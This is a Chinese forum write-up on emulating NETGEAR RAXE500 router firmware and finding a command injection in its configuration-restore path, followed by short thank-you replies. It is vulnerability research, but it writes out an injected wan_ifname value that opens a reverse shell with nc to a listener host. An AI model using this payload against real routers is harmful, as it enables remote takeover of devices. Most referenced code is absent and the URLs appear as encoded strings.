论坛首页 漏洞分析研究区 阅读主题

[原创]NETGEAR 路由器环境模拟与漏洞分析

350 浏览 13 回复
#1 楼主 2026-06-01 21:09:04
版本 : Nighthawk AX12 RAXE500 V1.2.14.114_2.0.67首先 binwalk -e1 RAXE500-V1.2.14.114_2.0.67.chk 解压固件。进入 squashfs-root 目录,运行 sudo chroot . bin/sh 进入固件环境。直接运行 usr/sbin/httpd 报错,需要根据 etc/init.d/mount-fs.sh 的脚本命令创建目录运行环境。创建目录环境命令:再次运行报错,需要将 /tmp/shm_id 的值修改为0:之后再次运行报错:GDB 调试发现 tmp_h_c 的值为空,代码如下:分析代码,需要添加启动参数: /usr/sbin/httpd -E /usr/sbin/ca.pem /usr/sbin/httpsd.pem再次运行提示生成证书失败:查看 /dev/ 下的设备,因为没有 /dev/random 和 /dev/urandom 导致熵不足引起的,需要将主机的 dev 设备映射到固件目录:再次运行就成功了虽然 HTTPD 的服务运行成功了,但是网页无法访问,访问的提示如下:对应的代码如下:需要从 NVRAM 读取 ddns_hostname 的值,现在需要一个 nvram.ini 文件,和一个模拟 acosNvramConfig_* 的 SO。在 GITHUB 上有一个 libnvram_faker/conf/netgear/nvram.ini 的配置文件,然后通过 HOOK 来模拟以下的函数:HOOK acosNvramConfig 的 acosNvramConfig.c 代码如下:/tmp/route.cfg 的配置文件如下:编译为 acosNvramConfig.so 后放到 lib 目录:需要更新 route.cfg,将 lan_ipaddr=192.168.1.1 修改为本机地址 127.0.0.1,然后运行以下命令:访问 8f9K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9J5c8R3`.`. 提示以下错误:报错代码如下:dword_1439FA4 的值来自 is_authorizied() 函数:is_authorizied 函数在 libacos_nvram.so 中,代码如下:功能是取 NVRAM 的 board_id 来与 U12H449 等做比较,搜索 U12H449 选择 U12H449T00_NETGEAR 做为 board_id:更新 route.cfg 增加 board_id=U12H449T00_NETGEAR 后,访问 d5bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9J5c8Y4y4@1j5i4u0@1i4K6u0W2K9s2c8E0 成功,但是有时候出现不明原因的 (Segmentation fault) - core dumped:在访问 ipv6_disable.cgi 时,有如下的代码:从 NVRAM 中读取了 wan_ifname 的值做为 system 的参数:而 wan_ifname 的值可以通过 e4dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1j5I4x3U0N6Q4x3X3f1H3i4K6u0W2x3q4)9J5k6e0q4Q4x3V1k6n7b7f1E0Q4y4h3k6T1j5h3y4C8N6i4m8Q4x3X3g2Z5N6r3@1`. 恢复备份文件的功能来设置:上传文件代码如下:
libacos_nvram.so 的 shared_acos_nvram_restore_configuration 代码如下:恢复配置代码只是一个简单的 CP。修改 route.cfg 文件的 wan_ifname=eth0&rm /tmp/f 2>/dev/null; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.3.3 9999 > /tmp/f& 进行测试,打开监听端口9999:打开 981K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1j5I4x3U0N6Q4x3X3f1H3i4K6u0W2x3q4)9J5k6e0q4Q4x3V1k6u0f1q4j5$3i4K6g2X3k6r3W2K6j5h3u0D9k6g2)9J5k6h3S2@1L8b7`.`. 页面 , 点击 Apply 按钮 , 就获取到了反弹SHELL:# binwalk -e1 RAXE500-V1.2.14.114_2.0.67.chk

---
来源: 看雪论坛
原文链接: https://bbs.kanxue.com/thread-289420.htm
#2 2026-06-01 21:09:04
学习了
#3 2026-06-01 21:09:04
感谢分享[
#4 2026-06-01 21:09:04
感谢分享
#5 2026-06-01 21:09:04
mark
#6 2026-06-01 21:09:04
mark
#7 2026-06-01 21:09:04
#8 2026-06-01 21:09:04
mark
#9 2026-06-01 21:09:04
#10 2026-06-01 21:09:04
好????
#11 2026-06-01 21:09:04
#12 2026-06-01 21:09:04
学习
#13 2026-06-01 21:09:04
学习了
#14 2026-06-01 21:09:04
感谢分享

请登录后参与讨论

立即登录 注册账号